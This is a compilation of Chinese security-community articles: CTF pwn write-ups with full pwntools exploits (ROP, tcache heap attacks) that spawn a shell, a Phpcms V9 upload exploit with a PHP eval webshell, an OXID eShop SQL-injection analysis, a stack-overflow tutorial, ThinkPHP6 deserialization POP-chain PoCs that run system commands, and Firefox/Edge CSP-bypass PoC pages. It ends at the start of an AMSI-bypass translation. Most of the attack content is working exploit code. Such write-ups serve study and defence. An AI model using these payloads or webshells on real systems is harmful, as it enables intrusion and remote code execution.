canary的值，然后gets的时候ROP调用system，过程中发现%a泄露出的地址和libc基址的偏移会相差0x1000的整数倍，但相差不大，而且会变化，就写脚本直接爆破了libc基址，运行就能getshell了.
多跑几次就成功了。
from pwn import *
import time
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def getshell(f,x):
#f=process("./hardcore_fmt","b* 0x555555554000+0x940")
#f=remote("39.106.110.69",9999)
f.sendlineafter("fmt\n","%a%a%a%a%a")
f.recvuntil("0x0.0")
f.recvuntil("0x0.0")
f.recvuntil("0x0.0")
fail_addr=int(f.recv(10)+'00',16)
log.info("fail_addr : "+hex(fail_addr))
f.sendline(str(fail_addr+0x29))
try:
f.recvuntil(": ")
except:
return
canary_value=u64(f.recv(7).rjust(8,'\x00'))
log.info("canary is : "+hex(canary_value))
system_addr=fail_addr-0x60b500+libc.symbols['system']+i*0x1000
pop_rdi_ret=fail_addr-0x60b500+0x5b4fd+i*0x1000
print i
log.info("libc base : "+hex(fail_addr-0x60b500))
binsh_addr=fail_addr-0x60b500+0x1b3e9a+i*0x1000
one_gadget=fail_addr-0x60b500+0x4f2c5+i*0x1000
log.info(hex(one_gadget))
#0x4f322
#0x4f2c5
retn_value=0xe4e3f+fail_addr-0x60b500
f.recv()
try:
f.sendline("a"*0x108+p64(canary_value)+p64(0)*3+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr))
f.sendline("ls")
except:
return;
if f.recv():
f.sendline("cat flag")
f.interactive()
i=1
for i in range(-20,20):
#f=process("./hardcore_fmt")
f=remote("39.106.110.69",9999)
f.settimeout(0.5)
print "this is :"+hex(i)
try:
getshell(f,i)
except:
f.close()
continue
f.close()
f.interactive()
# three
此题赛后解出
glibc版本2.27，有tcache机制
题目把条件限制的很死，最多只能分配3个堆块。刚开始先抬高堆，抬高的过程中留下地址最低三位为0x450的堆进行利用。连续free
0x450处的堆两次，然后通过edit
0x450的fd指针指向0x40a，在0x40a处分配堆块的大小恰好能覆盖0x450处的堆块大小的最低两字节，先free
0x450处的堆一次，再改写它为smallbin的大小(大小要能指向后面的堆块)，连续free
8次，使得其fd为main_arena+96的值，通过爆破三字节，使其fd指针指向IO_stdout-8,然后partial write
IO_write_base来leak libc基址
因为0x40a的堆块和指向IO_stdout的堆块都不能被释放，所以现在的问题就是如何能够在只能free和malloc一个堆块的条件下实现任意地址写。我的做法是先改写write缓冲区指针leak
heap地址。然后在0x40a的堆块中构造一个0x30大小的fake
chunk结构，并改写0x450处堆块的prev_size=0x30，prev_inuse标志位为0，大小为smallbin大小,free
0x450处的堆块7次填满tcache的时候edit其fd为_free_hook再delete并清除该堆块，由于会触发unlink和前面的fake
chunk合并不会改写它自身的fd指针，这样分配两次后就能得到一个指向free_hook的堆，改写它为system函数，delete操作执行system("$0")
getshell。
成功概率为1/4096，要碰运气。
本地测试时的exp:
from pwn import *
import time
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.log_level="debug"
def addnote(content=""):
f.sendlineafter("choice:","1")
f.sendlineafter("content:",str(content))
def delete(num,clear=0):
f.sendlineafter("choice:","3")
f.sendlineafter("idx:",str(num))
if clear:
f.sendlineafter("/n):","y")
else:
f.sendlineafter("/n):","n")
def edit(num,content):
f.sendlineafter("choice:","2")
f.sendlineafter("idx:",str(num))
f.sendlineafter("content:",str(content))
def getshell(f):
addnote()
addnote()
addnote()
delete(1,1)
delete(0,1)
delete(2,0)
edit(2,"\x00"*8)
addnote()
addnote()
delete(0,1)
delete(2,1)
delete(1,0)
edit(1,"\x00"*8)
addnote()
addnote()
delete(2,1)
delete(1,1)
edit(0,"\x00"*8)
addnote()
addnote(p64(0)+p64(0x41)+p64(0)+p64(0x31))
delete(2,1)
delete(1,1)
edit(0,"")
addnote()
addnote("")
delete(0,0)
edit(2,"a"*0x3e+"\xa1\x001\n")
f.recvuntil("notes")
print '1'
delete(1,1)
for i in range(7):
delete(0,0)
edit(2,"a"*0x3e+"\x61\x002\n")
f.sendlineafter("idx:",str(0))
f.sendlineafter("content:","\x58\x07")
addnote()
delete(0,1)
addnote(p64(0)+p64(0xfbad1800)+p64(0)*3)
libc_addr=u64(f.recv()[22:28].ljust(8,'\x00'))-0x3eb780
log.info("libc_addr :"+hex(libc_addr))
f.sendline("2")
f.sendline(str(2))
f.sendlineafter("content:","a"*0x3e+"\x51\x002")
f.sendlineafter("idx:",str(0))
content=p64(0)+p64(0xfbad1800)+p64(0)*3+p64(libc_addr+libc.symbols['__malloc_hook']+0x80)+p64(libc_addr+libc.symbols['__malloc_hook']+0x88)*2+"3"
f.sendlineafter("content:",content)
heap_addr=u64(f.recv(6).ljust(8,'\0'))-0x340
log.info("heap_addr: "+hex(heap_addr))
f.sendline(str(1))
f.sendlineafter("n):","n")
edit(2,"$0\0\0\0\0"+p64(0)+p64(0x31)+p64(heap_addr+0x330-0x8*3)+p64(heap_addr+0x330-0x8*2)+p64(heap_addr+0x310)*2+p64(0x30)+"\xb0\x003")
f.sendlineafter("idx:",str(1))
f.sendlineafter("/n):","n")
for i in range(6):
delete(1)
edit(1,p64(libc_addr+libc.symbols['__free_hook'])+p64(libc_addr+libc.symbols['__malloc_hook']+0x70))
delete(1,1)
addnote()
edit(2,"$0\0\0\0\0"+p64(0)+p64(0x31)+p64(heap_addr+0x330-0x8*3)+p64(heap_addr+0x330-0x8*2)+p64(heap_addr+0x310)*2+p64(0x30)+"\xf1\x003")
f.sendlineafter("idx:",str(1))
f.sendlineafter("/n):","y")
addnote(p64(libc_addr+libc.symbols['system']))
f.sendline("3")
f.sendline(str(2))
f.interactive()
f=gdb.debug("./three")
getshell(f) | 社区文章 |
# **Phpcms_V9任意文件上传**
下载最新版Phpcms，在注册页面进行post提交。EXP：
siteid=1&modelid=11&username=123456&password=123456&[email protected]&info[content]=<img src=http://127.0.0.1/2.txt?.php#.jpg>&dosubmit=1&protocol=
2.txt中写入一句话：
<?php @eval($_POST[cmd]);?>
报错，并返回shell地址。
getshell。
感谢scriptkid大牛，该漏洞不只是注册处能触发，所以关闭注册是解决不了问题的，正确做法是让uploadfile下文件无法执行。
并且在注册页面中modelid=10，没有content字段，稍后会附上漏洞原理 | 社区文章 |
# OXID eShop两处漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/oxid-esales-shop-software/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
RIPS在OXID
eShop软件中检测到了一个高危漏洞，未授权攻击者可以利用该漏洞在几秒之内远程接管使用默认配置的目标站点。此外管理面板中还存在另一个漏洞，攻击者可利用该漏洞获取服务器的远程代码执行（RCE）权限。这里建议用户尽快升级到最新版本。
OXID eShop是源自德国的一套电子商务内容管理系统，许多龙头企业（如Mercedes、BitBurger以及Edeka）都在使用企业版OXID
eShop。在本文中我们将分析如何在默认配置的最新版OXID eShop（6.3.4）中，以未授权攻击者身份获得远程代码执行权限。
攻击过程可参考[此处视频](https://blog.ripstech.com/videos/oxid634_1.mp4)，大家可以访问[此处](https://demo.ripstech.com/scan/87/172)访问RIPS系统分析结果。
## 0x01 SQL注入漏洞
这款电子商务软件中存在一个SQL注入漏洞，可以通过未授权远程会话利用，利用过程无需依赖目标端进行特殊配置。
每当用户查看某款产品时，服务端就会通过_getVendorSelect()方法构造一个SQL查询语句，发送给底层数据库。
源文件：source/Application/Model/ArticleList.php
protected function _getVendorSelect($sVendorId)
{
⋮
if ($this->_sCustomSorting) {
$sSelect .= " ORDER BY {$this->_sCustomSorting} "; // line 1087
}
return $sSelect;
}
而服务端会在之前的代码中调用setCustomSorting()方法，设置_sCustomSorting属性，通过该属性构造出ORDER BY
SQL语句（上述代码第1087行），随后这会成为攻击者的一个注入点。
源文件：source/Application/Component/Locator.php
$oIdList->setCustomSorting($oLocatorTarget->getSortingSql( // line 131
$oLocatorTarget->getSortIdent()));
在上述代码片段第131行，自定义排序属性值会被设置为getSortingSql()方法的返回值，而服务端会在FrontendController类的getSorting()方法中调用getSavedSorting()方法来设置这个值。
源文件：source/Application/Controller/FrontendController.php
public function getSorting($sortIdent)
{
⋮
if ($sorting = $this->getUserSelectedSorting()) {
/*...*/
} elseif (!$sorting = $this->getSavedSorting($sortIdent)) { // line 1424
$sorting = $this->getDefaultSorting();
}
/*...*/
public function getSavedSorting($sortIdent)
{
$sorting = \OxidEsales\Eshop\Core\Registry::getSession() // line 1430
->getVariable('aSorting');
/*...*/
return $sorting[$sortIdent];
}
从代码中可知，getSavedSorting()方法会访问OXID的内部会话对象（第1430行），提取aSorting值：这行代码的作用相当于直接读取PHP的会话变量$_SESSION[‘aSorting’]。攻击者可以控制这个变量，而该变量正是漏洞利用的关键点。该变量值会被写入1430行的$sorting变量，通过调用栈返回，最终以参数形式传递给前面提到的setCustomSorting()方法。
源文件：source/Application/Component/Widget/ArticleDetails.php
protected function _setSortingParameters()
{
$sSortingParameters = $this->getViewParameter('sorting');
/*...*/
list($sSortBy, $sSortDir) = explode('|', $sSortingParameters);
$this->setItemSorting($this->getSortIdent(), $sSortBy, $sSortDir);
}
/*...*/
public function setItemSorting($sortIdent, $sortBy, $sortDir = null)
{
/*...*/
$sorting[$sortIdent]['sortby'] = $sortBy;
$sorting[$sortIdent]['sortdir'] = $sortDir ? $sortDir : null;
\OxidEsales\Eshop\Core\Registry::getSession() // line 912
->setVariable('aSorting', $sorting);
接下来我们分析下攻击者如何控制该变量：在SQL查询语句构造完毕并发送至数据库之前，攻击者可以通过用户输入数据覆盖$_SESSION[‘aSorting’]变量。这个任务通过调用_setSortingParameters()方法来完成，该方法会在源码第901行获取用户可控的sorting参数，然后在904行调用setItemSorting()函数，在该函数中调用getSession()->setVariable()函数（第912行），最终将恶意用户的输入数据存储到$_SESSION[‘aSorting’]变量中。
最终被注入的SQL语句如下所示：
SELECT ... ORDER BY oxtitle ;INSERT INTO oxuser (...) VALUES (...);
这意味着攻击者可以利用会话变量作为媒介，直接注入ORDER
BY这个SQL查询语句。由于底层数据库驱动默认设置为PDO，因此攻击者可以使用堆叠查询方式插入新的admin用户，设置用户密码。随后攻击者可以登录服务后端，继续漏洞利用过程。
## 0x02 利用Admin RCE
一旦攻击者获得后端服务访问权限，就可以利用服务端导入逻辑中的[PHP对象注入漏洞](https://blog.ripstech.com/2018/php-object-injection/)，提升至RCE（远程代码执行）权限。站点管理员可以通过上传CSV文件来导入文章，而CSV文件会被载入如下代码片段的data数组中。
源文件：source/Core/GenericImport/ImportObject/OrderArticle.php
protected function preAssignObject($shopObject, $data, $allowCustomShopId){
/*...*/
$persParamValues = @unserialize($data['OXPERSPARAM']); // line 30
在代码第30行，OXPERSPARAM列的值未经过滤就直接交给unserialize()函数来处理，因此存在PHP对象注入漏洞。如果大家想了解更多信息，可参考我们前面发表的PHP对象注入[文章](https://blog.ripstech.com/2018/php-object-injection/)，了解如何利用PHP对象注入实现远程代码执行，具体利用步骤可参考[此处视频](https://blog.ripstech.com/videos/oxid634_2.mp4)。
## 0x03 时间线
日期 | 进展
---|---
2017年12月11日 | 报告OXID 4.10.6中存在SQL注入漏洞
2019年6月18日 | 首次与厂商联系
2019年6月19日 | 协商并同意加密沟通方式
2019年6月21日 | 发送漏洞细节
2019年6月17日 | 厂商告知会在7月30日发布补丁
2019年7月30日 | 厂商修复问题
## 0x04 总结
远程攻击者可以组合利用本文介绍的OXID
eShop两个漏洞完全接管目标站点，从这两个漏洞我们可以看到持续集成安全测试在减少敏感源代码风险中的重要作用。我们要感谢OXID安全团队，他们非常专业，在漏洞响应上也非常迅速。另外，我们强烈建议大家将所有OXID
eShop产品更新至最新版。
## 0x05 相关资料
* [TYPO3 9.5.7: Overriding the Database to Execute Code](https://blog.ripstech.com/2019/typo3-overriding-the-database/)
* [Magento 2.3.1: Unauthenticated Stored XSS to RCE](https://blog.ripstech.com/2019/magento-rce-via-xss/)
* [A Salesmans Code Execution: PrestaShop 1.7.2.4](https://blog.ripstech.com/2018/prestashop-remote-code-execution/)
* [Privilege Escalation in 2.3M WooCommerce Shops](https://blog.ripstech.com/2018/woocommerce-php-object-injection/)
* [CubeCart 6.1.12 – Admin Authentication Bypass](https://blog.ripstech.com/2018/cubecart-admin-authentication-bypass/) | 社区文章 |
[TOC]
# PWN-栈溢出原理
## 编写一个无任何保护的ELF文件
程序stack_example.c
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
* `-m32` 指的是生成 32 位程序
* `-fno-stack-protector` 指的是不开启堆栈溢出保护，即不生成 canary。
* `-no-pie`关闭 PIE（Position Independent Executable），避免加载基址被打乱。
* `-o`输出
## Linux的保护机制和大小端存储
地址随机化保护：
sudo echo 0 > /proc/sys/kernel/randomize_va_space
* 0，关闭 ASLR，没有随机化。栈、堆、.so 的基地址每次都相同。
* 1，普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化，但是堆基地址没有随机化。
* 2，增强的 ASLR，在 1 的基础上，增加了堆基地址随机化。
大小端：
<https://blog.csdn.net/weixin_44309300/article/details/114962540>
## 栈帧结构
* 调用约定
<https://www.cnblogs.com/clover-toeic/p/3756668.html>
* CALL指令相当于执行一条`PUSH 下一条指令的地址（即之后ret返回的地址）` +`一条JMP指令`。//esp-4
* ret指令 《=》 pop eip //esp+4
* leave指令
在32位汇编下相当于:
mov esp,ebp; //将ebp指向（ebp内部应当保存一个地址，所谓指向即这个地址对应的空间）的值赋给esp
pop ebp //esp = esp + 4
## gdb分析
1,gdb stack_example运行程序
b main //主函数下断点
r //运行
2,
gdb查看反汇编，带源码查看
disassemble /m
带范围的查看，并显示机器码
disassemble /r 0x08048496,0x0804849e //注意逗号
3，调试跟踪堆栈变化
分析vulnerable函数
3.1步入vulnerable函数
3.2执行完push ebp后结果
3.3执行完mov ebp,esp
3.4执行 sub esp,0x18
3.5执行sub esp,0xc
3.6lea eax,[ebp - 0x14]（即eax存放的是s）
3.7push eax | call gets@plt(这里ni步过,不使用si步入)
3.8add esp,0x10
3.9 sub esp, 0xc
3.10 跳过不影响栈帧变化的指令，到push eax
3.11开始恢复栈帧 add esp,0x10
3.12leave
回忆：leave指令
在32位汇编下相当于:
mov esp,ebp; //将ebp指向（ebp内部应当保存一个地址，所谓指向即这个地址对应的空间）的值赋给esp
pop ebp //esp = esp + 4
执行前：
执行后：
3.13 ret
回忆：ret指令 《=》 pop eip //esp+4
结论：由于gets()函数是一个危险函数，未对我们的输入进行过滤约束，所以我们可以通过栈的结构，精心构造最后ret返回eip的值，即可达到控制程序流程目的。
## 数据输入流写想内存方向
精心构造的输入数据构成的栈帧
## exp之pwntool使用
<https://bbs.pediy.com/thread-247217.htm>
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive() | 社区文章 |
# ThinkPHP6 反序列化漏洞
### 环境W
`tp6.0 apache php7.3`
## 漏洞分析
反序列化漏洞需要存在 `unserialize()` 作为触发条件，修改入口文件
app/controller/Index.php
注意`tp6`的`url`访问直接是 /控制器/操作/参数…………，相比`tp5`少了模块这个地方，本地测试的需要注意。
全局搜索 `__destruct`
可利用的在`/vendor/topthink/think-orm/src/Model.php` 里
跟进`$this->save()`
去看一下 setAttrs 方法
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
public function setAttr(string $name, $value, array $data = []): void
{
if (……) {
……
} else {
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
//注意这里可以调用动态函数，执行命令，但是上面对 method 进行字符串拼接
$value = $this->$method($value, array_merge($this->data, $data));
}
这里是不通的，继续往下审计，
跟进 `$this->updateDate()`
检查数据之后获取有更新的数据，这两个函数可以用来绕过下面的的 `if 语句`
后面构造`pop`的时候再细说。
跟进检查允许字段`$this->checkAllowFields()`
跟进 `$this->db`
注意这个字符串拼接符号`$this->name . $this->suffix` ，可以利用其触发`__toString`
全局搜索 `__toString`,芜湖，来到了熟悉的`conversion`类里
继续跟进`__toArray`
前面的遍历先不看，跟进 `getAttr()`
先看返回值 的 `$this->getValue`
这里的
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
注意看这里，我们是可以控制`$this->withAttr`的，那么就等同于控制了`$closure`
可以作为动态函数，执行命令。根据这个点，我们来构造pop。
## pop链构造
一开始 我们需要 控制 `$this->lazySave`变量为真，然后进入`save()`方法，需要执行`$this->updateDate`不能被
提前`return`，去看 `is_Empty() , trigger()`方法，
public function isEmpty(): bool
{
return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控，设置非空的数组就好。
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
//!$this->withEvent 可控
return true;
}
且还需要 `$this->exists` 为真 ，这个参数也是可控的。
进入 `$this->updateData` 方法后，我们需要程序执行到 `$this->checkAllowFields()`
在此之前同样不能被`return`
跟进 `getChangedData()`
我们希望 `$data` 不改变，所以就令`$this->force` 为真。
$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true
`model` 类是复用了`trait` 类 的，可以访问其属性，和方法。`Model` 类 是抽象类，不能被实例化，所以我们还需要找到其子类。
`Pivot`类就是我们需要找的类。
到这里我们成功执行到了 `$this->checkAllowFields()`，还得进入 `$this->db()`
`$this->field`为空，`$this->schema`也为空。初始就是空数组，不做处理。
现在进入到 `$this->db()` 里。
将`$this->name` 或 `$this->suffix`设置为含有`__toString`的类对象就可以触发此魔术方法。
但是这里有意思的是，我们需要触发`__toString` 的类 是`conversion` 类 而这个类是`trait`类，
而当前的`model`类是 复用了 `conversion`类的，所以我们相当于重新调用一遍 `Pivot`
类。也就是重新调用一下自己，触发自己的的`__toString`方法。这个操作在`buuoj`上的一道题目中遇到过。
再接着就是 `toJson() toArray()` ，前面两个`foreach`
不做处理，再下来这个`foreach`会进入最后一个`if分支`，调用`getAttr`方法。这个`foreach` 是遍历
`$this->data`，然后将`$data` 的`$key`传入`getAttr`
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
进入`getAttr` 方法，这里的`$name 是 $key`
跟进`getData`
跟进`getRealFieldName()`
$this->strict `默认值为True 所以 `$fieldName = $key
，$key是一定存在与$this->data 里的，然后`$this->getdata()`返回的`$value`值就是
`$this->data[$key]`。
最后return `$this->getValue($key, $this->data[$key], $relation)`
进入 `getValue()`
同理，这里的`$fieldName`就是 `$key`，`$relation`在传入时设置值就是`false`，然后
我们设置一下`$this->withAttr[$fieldName]`的值，进入`if(``isset($this->withAttr[$fieldName]))`分支。进行命令执行。
### poc
<?php
namespace think\model\concern;
trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
成功执行
$value = $closure($value, $this->data);
这个动态函数的参数有两个 第一个是 `$data` 的 `$value` 第二个就是 `$data`
数组。这里我们可以执行`system('whoami')`是因为`system`支持两个参数的，但是这里的参数问题导致我们的利用条件很局限。
tp6自带一种`SerializableClosure`调用，也就是
\Opis\Closure\SerializableClosure
这个包呢，和`php`自带的反序列化函数不同的地方，就是可以反序列化函数，就是可以把函数反序列化。
`php`对用户自定义函数的参数要求并不是很严格，可以看下面这个。
所以我们可以通过但反序列化函数绕过这里参数的限制。
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管。
修改上面的pop
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};//可写马，测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>
自行下载 `\Opis\Closure\`这个包，[链接](https://github.com/opis/closure)
**`poc`放在`closure` 文件夹同级。**
## 补充
### 6.0.9 bypass
在tp的依赖里有think-orm
这个拓展，
这个拓展在2.0.41的版本里做出了一个更新，
<https://github.com/top-think/think-orm/commit/375a3b11578a1740db60c4db05b8244c1de701cf>
这里不再直接使用$closure来处理，而是先判断是否继承闭包，因为反序列化闭包的存在，我认为还是可以上面的链子的，但是`topthink/framework`
在v6.0.3 版本后不再使用`opis/closure` 依赖，导致没办法利用。
所以上面的利用链只能在 tp6.0.3及以前的版本使用。
不过在利用点上面的if语句里有`getJsonValue` 方法，
依然可以触发漏洞，只不过没有闭包那么好用了。
### poc
<?php
namespace think\model\concern;
trait Attribute{
private $data=['jiang'=>['jiang'=>'calc']];
private $withAttr=['jiang'=>['jiang'=>'system']];
protected $json=["jiang"];
protected $jsonAssoc = true;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
## 写在后面
这个反序列化漏洞最终是利用了可变函数，以及函数的反序列化绕过参数的限制。所以当可以使用自定义函数的时候，参数就变得不是那么重要，再加上可以反序列化函数的这个包，可以利用的地方就更多了。如果有问题，还请师傅们指出。 | 社区文章 |
# Firefox与Edge的dom策略导致的csp bypass问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在2018年对csp研究过一阵，发现可以通过其他的dom向存在CSP的dom注入javascript协议，来达到绕过CSP的安全防护。
众所周知，CSP（内容安全策略）有两种方法来设置，一种是通过浏览器器响应头，如下：
Content-Security-Policy:sc-src 'self' https://apis.google.com
还有一种就是通过<meta>标签进行设置，如下：
<meta http-equiv="Content-Security-Policy" content="sc-src 'none'">
我发现这存在一个问题，如果某页面设置了CSP，而同源下其他页面不做CSP防御的话，黑客可以利用opener和target对象来对存在CSP的页面做一个攻击。不了解这两个对象的同学可以参考p牛的target攻击的介绍以及我在17年投稿的那边文章。
回到正题，以opener为例，为此我们创建两个攻击文件，go.html与attack.html
<html>
<head>
<title>CSP Test</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
<a href="./attack.html" target="_Blank">csp_let's_go</a>
<script>alert(location.href);</script>
</body>
</html>
<html>
<head>
<title> csp go</title>
</head>
<body>
<script>parent.window.opener.location = "javascript:alert(location.href);"</script>
</body>
</html>
把两个文件放在一个目录下，你会发现，go.html因为设置了CSP，他的JS代码不能允许。但是如果在Firefox中点击了csp_let’s_go，JS就会执行，那是因为Firefox对该对象没有做防护。
而这在Chrome、Edge、Safiri中是不被允许的
就是这样，通过同源策略允许注入js，绕过了CSP的限制，同样的可以利用target来进行，这将分为两个html文件，go.html与target.html
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="./target.html" target="baidu" id="baidu" onclick="return start()">click me</a>
<script>
function start() {
setInterval(function() {
baidu.href="javascript:alert(location.href);";
baidu.click();
}, 5000);
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
csp bypass
</body>
</html>
同样的，这可以绕过火狐的CSP策略
对于这两个漏洞火狐给予了确定，火狐的回复是：
On the one hand this is injecting a javascript URL into the other document,
which ought to be blocked. On the other hand it’s hard to get too excited
because parent.window.opener.alert(location.href) would be perfectly valid —
the script is being run by a context that allows it, manipulating a DOM it’s
allowed to by the same-origin policy.
**Edge Bug导致存在同样的问题**
发现这个问题是由于在Edge测试如上代码的时候我发现我的系统资源CPU和内存被Edge占用了很高，于是我打开了调试台，看到了如下情况。
go.html一直向target.html抛出javascript协议，但是target因为CSP策略不断拒绝，go.html就会将被拒绝的请求重新请求一次，在加上时间函数累加上的请求，这里成指数增长，导致了系统资源被耗尽。
在这种情况下对页面进行刷新，可以绕过CSP：
当然这种情况下要用户主动去刷新页面或者对DOM进行操作，我们可以模拟刷新来看到这个Bug：
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
</head>
<body>
<a href="./attack.html" target="_Blank">csp_let's_go</a>
<script>alert(document.cookie);</script>
<meta http-equiv="Refresh" content="1" />
</body>
</html>
<html>
<head>
<title> csp go</title>
</head>
<body>
<script>
setInterval(function() {
parent.window.opener.location = "javascript:alert(location.href);";
}, 1);
setInterval(function() {
parent.window.opener.location = "javascript:alert(location.href);";
}, 1);
setInterval(function() {
parent.window.opener.location = "javascript:alert(location.href);";
}, 1);
setInterval(function() {
parent.window.opener.location = "javascript:alert(location.href);";
}, 1);
</script>
</body>
</html>
我们可以多增加几个线程来验证该问题。
由此可以猜测Edge为了性能，确定了域是同源策略所允许的情况下，不等网页加载出来就执行了js语句，当然这在大多数情况下不会发生，但是由于前面的bug导致了累积过多要执行的线程，导致了问题的触发，这种情况下的攻击非常片面，虽然不一定要用户刷新，但是也要用户点击进入具体的页面才行。在确定问题后将问题上报给msrc，微软已经对控制台这个消耗资源的问题进行了定时清理，虽然这个问题依旧存在，但是攻击面十分狭窄，可以忽略不计。 | 社区文章 |
# 如何绕过AMSI
|
##### 译文声明
本文是翻译文章，文章原作者 contextis，文章来源：contextis.com
原文地址：<https://www.contextis.com/en/blog/amsi-bypass>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
AMSI的全称是反恶意软件扫描接口（Anti-Malware Scan Interface），是从Windows
10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口，程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务（如Windows
Defender）。
在基于场景的资产评估或者基于数据的红队评估中，许多渗透测试人员都会与AMSI打交道，因此对相关功能也比较了解。AMSI能够提供更强大的保护，可以为反恶意软件产品提供更透彻的可见性，因此能防御攻击过程中常用的一些现代工具、战术以及过程（TTP）。最相关的操作就是PowerShell无文件payload，在实际环境中，攻击者及渗透测试人员都在使用这种技术来完成任务。
正因为此，AMSI是大家广泛研究的一个主题，能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中，我们介绍了AMSI的内部工作原理，也介绍了一种新的绕过方法。
在本文中，我们将涉及如下几方面内容：
* Windows内部基本工作原理（比如虚拟地址空间、Windows API）
* Windows调试器的基本用法，以便分析并反汇编目标程序（这里我们使用的是`powershell.exe`）
* Frida基本用法，以便hook函数
* PowerShell脚本的基础知识
## 0x01 AMSI工作原理
前面提到过，服务和应用程序可以通过AMSI来与系统中已安装的反恶意软件通信。为了完成该任务，AMSI采用了hook方法。比如，AMSI会hook
[WSH（Windows Scripting Host）](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)及[PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-6)来去混淆并分析正在执行的代码内容。这些内容会被“捕获”，并在执行之前发送给反恶意软件解决方案。
在Windows 10上，实现AMSI的所有组件如下所示：
* UAC（用户账户控制），安装EXE、COM、MSI或者ActiveX时提升权限
* PowerShell（脚本、交互式使用以及动态代码执行）
* Windows Script Host（`wscript.exe`或者`cscript.exe`）
* JavaScript以及VBScript
* Office VBA宏
AMSI[整体架构](https://docs.microsoft.com/en-us/windows/desktop/AMSI/images/amsi7archi.jpg)如下图所示：
比如，当创建PowerShell进程时，AMSI动态链接库（DLL）会被映射到该进程的虚拟地址空间中（Windows为该进程提供的虚拟地址范围）。DLL是包含导出函数及内部函数的一个模块，可以被其他模块所使用。内部函数只能在DLL中使用，导出函数可以被其他模块使用，也能在DLL内部使用。在这个例子中，PowerShell会使用AMSI
DLL的导出函数来扫描用户输入。如果判断这些数据无害，则用户输入数据就会被执行，否则就会阻止执行操作，在日志中记录[1116事件](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus)（`MALWAREPROTECTION_BEHAVIOR_DETECTED`）。
使用PowerShell触发相关事件（ID 1116）时如下所示：
